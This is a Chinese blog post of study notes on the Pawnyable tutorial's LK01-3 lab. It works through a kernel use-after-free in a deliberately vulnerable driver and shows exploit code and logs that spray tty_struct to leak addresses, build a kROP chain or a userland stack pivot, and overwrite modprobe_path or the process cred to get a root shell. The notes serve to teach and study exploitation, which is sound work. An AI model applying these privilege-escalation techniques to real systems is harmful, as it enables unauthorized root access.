前言
Pawnyable是一个由ptrYudai开发的Linux内核漏洞利用的入门教程。在这个教程中,作者设计了存在漏洞的Linux内核模块,并结合这些内核模块依次介绍了内核漏洞研究的环境搭建及调试方法、堆栈溢出、释放后重用(use after free,简称UAF)、竞态条件(race condition)、空指针解引用(NULL pointer dereference)、双重取回(double fetch)等多种漏洞类型,和滥用userfaultfd、滥用FUSE等漏洞利用方法。虽然该系列教程全部使用日语,我们可以使用Google翻译提供的网站动态翻译功能来阅读该教程的中文版本或英文版本。
“Linux Kernel PWN | 04”系列文章是我针对此教程的学习笔记,文章结构与原教程基本保持一致,也会补充一些学习过程中获得的额外知识。我们在《Linux Kernel PWN | 0401 Pawnyable学习笔记》中介绍了Linux内核漏洞利用的基础知识、环境搭建和调试的方法;在《Linux Kernel PWN | 040201 Pawnyable之栈溢出》中依次讨论了在开启不同安全机制的情况下内核栈溢出漏洞的利用方法;在《Linux Kernel PWN | 040202 Pawnyable之堆溢出》中介绍了内核堆溢出漏洞的利用方法。
本文是课程第二部分“内核利用基础”第三小节的笔记,将讨论内核UAF漏洞的利用方法。下文使用的漏洞环境是LK01-3。
1. 漏洞模块分析
与LK01-2相比,LK01-3增加了对边界的检查,消除了OOB read和OOB write漏洞。整个模块的核心代码如下(为突出重点,删除了一些打印、判断和返回语句):
#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file) {
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
}
static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) {
if (count > BUFFER_SIZE) // <1> no OOB read
return -EINVAL;
copy_to_user(buf, g_buf, count);
}
static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) {
if (count > BUFFER_SIZE) // <2> no OOB write
return -EINVAL;
copy_from_user(g_buf, buf, count);
}
static int module_close(struct inode *inode, struct file *file) {
kfree(g_buf); // <3> UAF
}
可以发现,在module_close
函数中,全局指针g_buf
指向的内存空间被释放。然而,内核中同一模块的全局变量是共享的。这意味着,如果我们在用户空间对漏洞设备执行了两次open操作,得到fd1和fd2,此时fd1和fd2共享全局变量g_buf
。此时,如果我们执行了close(fd1),那么虽然g_buf
指向的空间已经被释放了,但是我们依然能够通过读写fd2来实现对这部分空间的操纵。这就是所谓的“释放后重用”漏洞。
UAF漏洞的概念十分易懂,而且我们很容易发现它常常出现在“资源共享”的场景中。内核是一种典型场景,但是UAF又不止于此。
另外,open(fd1)时,g_buf
指向了第一次申请的空间;open(fd2)时,g_buf
指向了第二次申请的空间。因此,第一次申请的空间实际上没有被使用也没有被释放,这造成了内存泄漏。
2. UAF漏洞利用思路
UAF漏洞的利用思路与堆溢出有相似之处。以本文涉及的漏洞模块为例,当我们执行两次open,然后close(fd1)后,此时通过对fd2进行操作,我们仍然能够操纵g_buf
指向的已释放空间。此时,我们可以使用堆喷手法,喷射一些内核对象(如tty_struct
),期待其中一个会使用g_buf
目前指向的已释放空间。一旦堆喷成功,我们就可以通过读写fd2来篡改新的内核对象,接下来的利用手法就跟堆溢出高度重合了。
学习是循序渐进的。在前几个练习(见本文开头的介绍)的基础上,我们很容易快速进入状态。后面我们将主要介绍UAF漏洞利用与堆溢出漏洞利用的差异点,对于相似的部分就不再赘述了。在做研究时,我们希望把新学到的东西拆解开来、融会贯通,与已有知识进行联系、组合,最终融入自己的知识体系中,让新的东西成为已知,作为基础,从而研究更艰深的东西,到达更远的地方。
注意,偶尔我们的漏洞利用可能导致内核崩溃,原因是堆喷失败。这种情况下,只需要在ExP中加一个判断语句来安全退出,然后再次尝试即可:
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
printf("[-] heap spraying failed\n");
exit(-1);
}
3. 绕过KASLR
利用UAF漏洞绕过KASLR的思路与之前的堆越界读漏洞利用思路类似。之前靠越界读,这次直接读fd2就可以了,因为g_buf
指向的区域正是tty_struct
所在区域。核心代码如下:
#define ofs_tty_ops 0xc39c60
unsigned long kbase;
unsigned long g_buf;
int main() {
int spray[100];
int fd1 = open( "/dev/holstein" , O_RDWR);
int fd2 = open( "/dev/holstein" , O_RDWR);
close(fd1); // free(g_buf)
for (int i = 0; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x400];
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
}
这里附上我的测试代码供参考。至此,我们绕过了KASLR。
4. 基于kROP的UAF漏洞利用
接下来,为了绕过SMEP和SMAP,我们需要构造kROP。与堆溢出相似的地方略去不谈。值得注意的是,作者在教程中构造了两个UAF。这么做的是为了提高稳定性,避免不经意间破坏内核对象。
如下图所示,最终我们要利用一个UAF去布置ROP链和tty_struct
的伪函数表,利用另一个UAF去触发ioctl的执行,从而劫持控制流:
一图胜千言。其中的核心代码如下:
int main() {
puts("[*] UAF-1: open fd1, fd2; close fd1");
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
// heap spraying...
// bypass KASLR...
// craft rop chain and fake function table...
*(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret;
printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n");
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
// heap spraying...
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n");
read(fd4, buf, 0x400);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
// invoke ioctl...
}
/ $ /exploit
[*] saving user land state
[*] UAF-1: open fd1, fd2; close fd1
[*] spraying 50 tty_struct objects
[*] leaking kernel base and g_buf with tty_struct
[+] leaked kernel base address: 0xffffffffb5400000
[+] leaked g_buf address: 0xffffa1c641b21400
[*] crafting rop chain
[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops
[*] UAF-2: open fd3, fd4; close fd3
[*] spraying 50 tty_struct objects
[*] overwriting tty_struct target-2 with fake tty_ops ptr
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
5. Stack Pivoting到用户空间的尝试
我们在上一篇文章中提到过stack pivoting到用户空间的思路,但是没有实践。这个思路与kROP的不同就是将ROP链放在用户空间的内存中,其他的部分基本没区别。这适用于SMAP关闭的情况,能够用于绕过KASLR和SMEP,优点是不必在内核中布置ROP,因此也不要求泄漏堆地址。现在让我们来实践一下。
首先找到能够将栈指针变更到用户态可控地址的gadget。我们可以利用ropr找到很多这样的gadget,例如:
0xffffffff815b5410: mov esp, 0x39000000; ret;
需要注意的是,RSP需要8字节的地址对齐,否则内核可能在执行部分指令时崩溃。找到以后,我们就可以使用mmap来映射0x39000000附近的内存:
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
其中,MAP_POPULATE
的作用是确保内核中能够看到我们做的内存映射,即使KPTI启用。另外,我们从0x39000000之前的内存空间开始申请,是为了确保ROP中可能出现的向下访问操作合法。
ExP其他的部分与kROP比较相似。不过我们不再需要g_buf
的堆地址了,将伪函数表放在用户空间,然后让伪函数表指针指向这里即可:
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = 0x39000000;
write(fd4, buf, 0x20);
这里附上我的ExP。最终的提权过程如下:
/ $ /exploit
[*] saving user land state
[*] UAF-1: open fd1, fd2; close fd1
[*] spraying 50 tty_struct objects
[*] leaking kernel base and g_buf with tty_struct
[+] leaked kernel base address: 0xffffffff95e00000
[+] 0x38ffc000 address mmaped
[*] crafting rop chain from 0x39000000
[*] UAF-2: open fd3, fd4; close fd3
[*] spraying 50 tty_struct objects
[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
成功提权,但是退出root shell后内核崩溃,看起来需要进一步优化:
BUG: unable to handle page fault for address: 0000000039000020
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
6. 基于AAR/AAW的UAF漏洞利用
我们在《Linux Kernel PWN | 040202 Pawnyable之堆溢出》中已经介绍过基于AAR和AAW的漏洞利用技术。现在,让我们在UAF漏洞场景中实践一下。
6.1 篡改modprobe_path
首先是通过修改modprobe_path
路径实现提权。在之前堆溢出的ExP上修改一下逻辑,适配UAF即可。
这里附上我的ExP。最终的提权过程如下:
/ $ /exploit
[*] UAF: open fd1, fd2; close fd1
[*] spraying 50 tty_struct objects
[*] leaking kernel base and g_buf with tty_struct
[+] leaked kernel base address: 0xffffffffbbe00000
[+] leaked g_buf address: 0xffff8f6341b21400
[*] UAF-2: open fd3, fd4; close fd3
[*] spraying 50 tty_struct objects
[*] AAW: writing 0x706d742f at 0xffffffffbcc38480
[+] target tty_struct index: #50
[*] AAW: writing 0x6976652f at 0xffffffffbcc38484
[*] AAW: writing 0x6c at 0xffffffffbcc38488
[+] win_condition (dropper) written to /tmp/evil
[*] triggering modprobe
/tmp/pwn: line 1: ޭ��: not found
[*] spawning root shell
/ # id
uid=0(root) gid=0(root) groups=1000
/ # exit
/ $
6.2 篡改当前进程的cred结构体
这个案例与堆溢出中的利用手法也基本一致。需要注意的是,我们需要在第一个UAF时利用fd2将AAR和AAW依赖的两条不同的gadget分别写入第一次UAF获得的内存空间的不同位置。在后面进行AAR之前,在第二个UAF时利用fd4将伪函数表指向前面写入的AAR依赖的gadget处;在进行AAW前,利用fd4将伪函数表指向前面写入的AAW依赖的gadget处。
不要在制造第二个UAF后再将AAW依赖的gadget写入第一次UAF获得的内存空间,此时你无法实现这个目的,因为所有四个fd对应同一个g_buf
全局指针,它已经指向第二个UAF分配的内存空间了。我一开始就犯了这个错误,使用GDB调试了一会儿才发现问题。
这里附上我的ExP。最终的提权过程如下:
/ $ /exploit
[*] UAF-1: open fd1, fd2; close fd1
[*] spraying 50 tty_struct objects
[*] leaking kernel base and g_buf with tty_struct
[+] leaked kernel base address: 0xffffffff91800000
[+] leaked g_buf address: 0xffffa1cb41b1ac00
[*] UAF-2: open fd3, fd4; close fd3
[*] spraying 50 tty_struct objects
[*] changing .comm
[*] searching for .comm at 0xffffa1cb40c00000
[*] searching for .comm at 0xffffa1cb40d00000
...
[*] searching for .comm at 0xffffa1cb41b00000
[+] .comm found at 0xffffa1cb41ba05c0
[+] current->cred = 0xffffa1cb41af2700
[*] changing cred to root
[*] AAW: writing 0x0 at 0xffffa1cb41af2704
[*] AAW: writing 0x0 at 0xffffa1cb41af2708
...
[*] AAW: writing 0x0 at 0xffffa1cb41af2720
[*] spawning root shell
/ # id
uid=0(root) gid=0(root) groups=1000
/ # exit
总结
UAF漏洞利用比我想象的要简单。不过,这或许也可能是前面堆溢出漏洞利用部分做了铺垫的缘故。
无论如何,旅途越来越有趣了。